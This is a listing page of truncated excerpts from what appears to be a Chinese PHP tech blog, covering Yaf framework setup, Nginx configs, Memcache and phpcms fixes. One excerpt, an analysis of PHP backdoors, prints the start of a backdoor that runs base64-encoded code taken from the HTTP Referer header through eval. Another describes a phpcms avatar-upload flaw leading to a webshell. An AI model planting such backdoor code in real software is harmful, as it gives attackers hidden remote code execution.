修改PHPCMS自带采集器部分链接不能采集的BUG 发布时间: 2021-02-16 14:57:45 评论数: 0
最近用phpcms帮一个朋友搞个采集站,发现有些链接采集不过来.简单的修改了一下源码的正则。小记文件:phpcms/modules/collection/classes/collection.class.php 约第181行修改如下//preg_match_all('/<a ([^>]*)>([^\/a>].*)<\/a>/isU', $html, $out); //<---系统默认的注释掉 preg_match_all('/<a\s+href=["|\']?([^>"\' ]+)["|\']?\s*[^>]*&g ......
yaf框架之Nginx配置 发布时间: 2021-02-16 12:49:38 评论数: 0
server { listen www.lvtao.net; root /home/wwwroot/; location / { index index.php index.html index.htm; try_files $uri $uri/ /index.php?$query_string; } location ~ .php$ { fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass unix:/var ......
DiliCMS框架Nginx rewrite参考配置 发布时间: 2021-02-16 00:11:22 评论数: 0
DiliCMS是开源的,面向CodeIgniter开发者的,自由灵活的后台系统,并致力于为开发者提供最简单,易扩展,实用的后台系统。server { listen 80; root /path/to/dilicms/; index index.php; server_name love.lvtao.net; location ~ ^(/(application|system|services|shared|admin/backup|admin/config|admin/controllers|admin/core|amdin ......
php验证和过滤filter函数 发布时间: 2021-02-14 07:33:32 评论数: 0
没有这个函数的时候,相应验证ip地址或者验证邮件地址,那么你只能通过正则来处理 有了这个函数你不需要懂正则也能处理验证,这里举3个实际应用,更多的验证请查php手册 1、验证邮箱 <?php $email='phpsong@163'; $result=filter_var($email,FILTER_VALIDATE_EMAIL); var_dump($result); ?> //输出:boolean false 2、验证url地址 <?php $url='http://www.phpsong.com/'; $result=filter_var($ur ......
Yaf项目实战开发之第一天配置及扩展model 发布时间: 2021-02-13 23:01:06 评论数: 0
前几天装上了Yaf框架,折腾了一通,发现还不错哟!!!哈哈,于是乎准备用它折腾个小项目玩玩!!因为yaf不带有model层的操作,这儿需要自己扩展,在此记录一下application.ini[common] application.directory = APPLICATION_PATH "/application" application.ext = "php" ;php脚本后缀名 application.view.ext = "html" ;视图模板的后缀名 application.bootstrap = APPLICATION_PATH ......
phpcms前台头像上传漏洞导致webshell详解及案例 发布时间: 2021-02-13 22:50:43 评论数: 0
什么是上传漏洞 很多cms为了丰富自己的功能都提供了上传头像、上传图片等功能。但如果上传的内容没有做好过滤,则等于说给了攻击者一个执行任意代码的途径。比如攻击者可以在上传一个含有恶意代码的文件,伪装成图片,来绕过后台的检测机制。 以前一般的上传漏洞主要有以下几个方式造成: 0.在客户端用javascript或flash验证用户上传的文件格式,但上传到服务器后没验证。 1.对用户上传的文件只检查了ContentType,但ContentType是可以被用户修改的,所以用户上传的脚本文件可以将ContentType改成image/gif来绕过检查。 2.黑名单机制。检查用户上传的文 ......
PHP安装Memcache客户端扩展 发布时间: 2021-02-11 01:05:25 评论数: 0
先得明白~memcache是客户端,memcached是服务端!这儿只讲安装memcache客户端~Memcache For PHP Module官方网页:http://pecl.php.net/package/memcachewget http://pecl.php.net/get/memcache-2.2.7.tgz tar -zxvf memcache-2.2.7.tgz cd memcache-2.2.7 /usr/local/bin/phpize ./configure --enable-memcache --with-php-config=/usr/local ......
Yaf之application.ini配置 发布时间: 2021-02-10 13:55:43 评论数: 0
遵循php.ini配置方法定义配置块[lvtao] application.directory = APPLICATION_PATH "/application" [memcache] memcache.host=127.0.0.1 memcache.port=12211使用这个块 这个product在全局配置中有写的哟~~~默认值[product : lvtao]但上面的示例中还有一个memcache的参数没有调用到,如下使用[product : lvtao : memcache]也可以自定义配置块中的相关参数,举个粟子application.lvtao = "i love ......
命令行模式运行yaf框架应用之cli模式 发布时间: 2021-02-08 19:28:49 评论数: 0
为了更好的与web区分(配置文件,argc、argv判断等等).重新创建一个入口文件是比较好的做法。$app = new YafApplication(APP_PATH . "/conf/application.ini"); $app->getDispatcher()->dispatch(new YafRequestSimple());这样入口文件就完成了。接下来,你需要学会Yaf命令行的调用方法。来一个示例:php cli.php request_uri="/daemon/start"Yaf_Request_Simple的构造函数可以不接受任何参数, 在这种情况下 ......
PHP探针不显示cpu、内存、硬盘信息的原因 发布时间: 2021-02-08 04:18:47 评论数: 0
1.proc目录权限 看看proc目录的权限是多少?可以尝试将proc目录的权限设置为默认的05552.apache的open_basedir设置 如果你开启open_basedir安全设置,会导致探针无法显示内存等信息3.禁止了相应的php函数 比如file或其他函数4.虚拟主机的面板自动设置 有些面板,比如DirectAdmin或Kloxo等也会无法查看探针信息 ......
Yaf系列使用之CMS系统基础搭建 发布时间: 2021-02-06 01:03:42 评论数: 0
此文仅适合有一定基础的朋友看看.说是CMS,其实最初想做的是个小论坛,然后又变成了一个文章管理,与其说是CMS,不如说是个小新闻系统或企业站撒的,话虽这么说,我也是假装客气客气。咱先写个小的,思路有了,再想其它的...所以你现在就当我们在用Yaf写一个小企业站Yaf的优势不多说啦,我在搭建系统的时候,因为不是为了做一个小站,所以比较折腾,当然如果你只是用它写个小站,也没必要折腾Yaf了不是。至于Yaf的环境配置撒的一些基础的,可以看我之前博客,然后就是使用中不明白的还是多看看鸟哥的官方文档。还是那句话,我写的只是我现在用的。。。甚至可能不是最优方案。我们就当入门目录结构app ......
Gravatar头像开发者手册及相关设置参数 发布时间: 2021-02-05 03:41:13 评论数: 0
一、Gravatar头像加载地址: 头像服务器/avatar/邮箱的md5值?s=头像尺寸&d=默认头像&r=头像等级 如果需要强制显示默认头像,在最后加上参数&f=y二、可选“头像服务器”: http://www.gravatar.com http://0.gravatar.com http://1.gravatar.com http://2.gravatar.com http://3.gravatar.com http://s.gravatar.com http://en.gravatar.com https://secure.gravatar.co ......
Yaf之路由 发布时间: 2021-02-02 19:12:38 评论数: 0
Yaf的路由很灵活,这儿介绍两种,它默认的那货需要写伪静态,我本地测试的时候咋个整也不成功,于是乎就有了下面这东东了...路由器主要负责解析一个请求并且决定什么module、controller、action,默认情况下,我们的路由器是Yaf_Router, 而默认使用的路由协议是Yaf_Route_Static,是基于HTTP路由的, 它期望一个请求是HTTP请求并且请求对象是使用Yaf_Request_Http通过application.ini定义路由[common] ;自定义路由 ;顺序很重要 routes.regex.type="regex" routes.regex. ......
php的socket通信简记 发布时间: 2021-02-02 11:57:48 评论数: 0
什么是TCP/IP、UDP?TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,是一个工业标准的协议集,它是为广域网(WANs)设计的。UDP(User Data Protocol,用户数据报协议)是与TCP相对应的协议。它是属于TCP/IP协议族中的一种。这里有一张图,表明了这些协议的关系。TCP/IP协议族包括运输层、网络层、链路层。现在你知道TCP/IP与UDP的关系了吧。Socket在哪里呢?在图1中,我们没有看到Socket的影子,那么它到底在哪里呢?还是用图来说话,一目了然。Sock ......
Yaf之模型 发布时间: 2021-01-30 17:03:01 评论数: 0
Yaf的模型你可以理解为操作数据库或对数据做操作一个类~~~在控制器中,调用数据,我们先将它实例化一个模型$db=new UserModel(); echo $db->getUserInfo(11111);当我们在控制器中实例化一个不存在的模型类的时候,yaf就会在application的models下寻找这个模型类模型类文件名不需要带Model后缀,类文件如下class UserModel { public function getUserInfo($id){ return "hi.db".$id; } }yaf并没有提供数据库的操作方法, ......
一些常见的PHP后门原理分析 发布时间: 2021-01-30 05:04:30 评论数: 0
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果。 本地测试结果如下图。 本程序只作为学习作用,请勿拿去做坏事。<?PHP //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array ......
Yaf之hello yaf 发布时间: 2021-01-27 15:10:42 评论数: 0
入门第一课:配置好环境后,咋就开始码啦~第一个,目录结构index.php是入口文件,一个站点一个入口就OK了~~conf为配置文件目录,下面有个application.ini为配置文件,你也可以改别的名儿...application目录为我们的开发应用目录,下面有controllers控制器、views模板、modules模块、library类方法、models模型、plugins插件等目录application目录下还有个Bootstrap.php文件,呆会儿来说它~~~现在开始码代码入口文件index.php<?php define('APPLICATION_PAT ......
打黄扫非技术贴:PHP如何阻止用户上传成人照片或者裸照 发布时间: 2021-01-27 13:48:35 评论数: 0
当前,网络淫秽色情信息屡禁不止、屡打不绝,严重危害未成年人身心健康,严重败坏社会风气,社会各界对此深恶痛绝,人民群众要求严厉整治的呼声强烈。为此在全国范围内统一开展打击网上淫秽色情信息“扫黄打非·净网2014”专项行动。在这份教程中,我们将会学习到如何组织用户通过PHP上传成人照片或者裸照.点下面附件下载源码PHP过滤成人照片.zip我在phpclasses.org上面偶然发现一个很有用的,由Bakr Alsharif开发的可以帮助开发者基于皮肤像素点来检测图片裸照的类文件. 它会分析在一张图片的不同部分使用的颜色,并决定其是否匹配人类皮肤颜色的色调. 作为分析的结果,他会返回 ......
Yaf类库的加载 发布时间: 2021-01-25 20:50:16 评论数: 0
分全局类库与本地类库,它会优先加载本地类库全局类库在php.ini或ext-Yaf.ini中的yaf.library来指定本地类库为application/library中,配置见application.ini中的application.library来指定,当然是有默认值的啦我在使用的时候貌似全局类会自动加载进来,但本地类需要手工指定规则,我的做法是在bootstrap中做加载Yaf_Loader::getInstance()->registerLocalNamespace("Tool","Foo"); 所有Tool开头的及Foo开头的类自动加载也可以在applica ......
Yaf之视图 发布时间: 2021-01-24 08:39:55 评论数: 0
Yaf默认是开启了自动渲染,所以建了action后,他就会自己找模板!在测试的时候,如果不想让他寻找模板可以在action中return false 或者在bootstrap.php中关闭渲染Yaf_Dispatcher::getInstance()->autoRender(false); 或者 $dispatcher->getInstance()->disableView();默认模板文件后缀为phtml,想修改就在application.ini中配置一下就OKapplication.view.ext = "html"自动渲染时模板文件路径:applica ......


友情链接: php5000技术知识分享 github 码云 开源中国 csdn linux中国 阿里云 unix技术网 composer中文网 php packagist php python 安卓软件 大众源码 DevStore 猪八戒威客网 人人都是产品经理 PHPwind论坛 互联网的一些事 新客网 黑马程序员 火星时代 hao123it ThinkSNS 开源社区 51CTO学院 办事儿网 IT论坛 java教程 最代码 程序员客栈 大数据培训 小程序开发 微信小程序 php开发新闻 微信小程序 java学习 微信小程序 Linux书籍 网站ip流量 xw素材网 新浪云 腾讯云 华为云 百度 新浪 网易 淘宝 腾讯 1688 搜狐 优酷 房天下 hao123 携程 天涯社区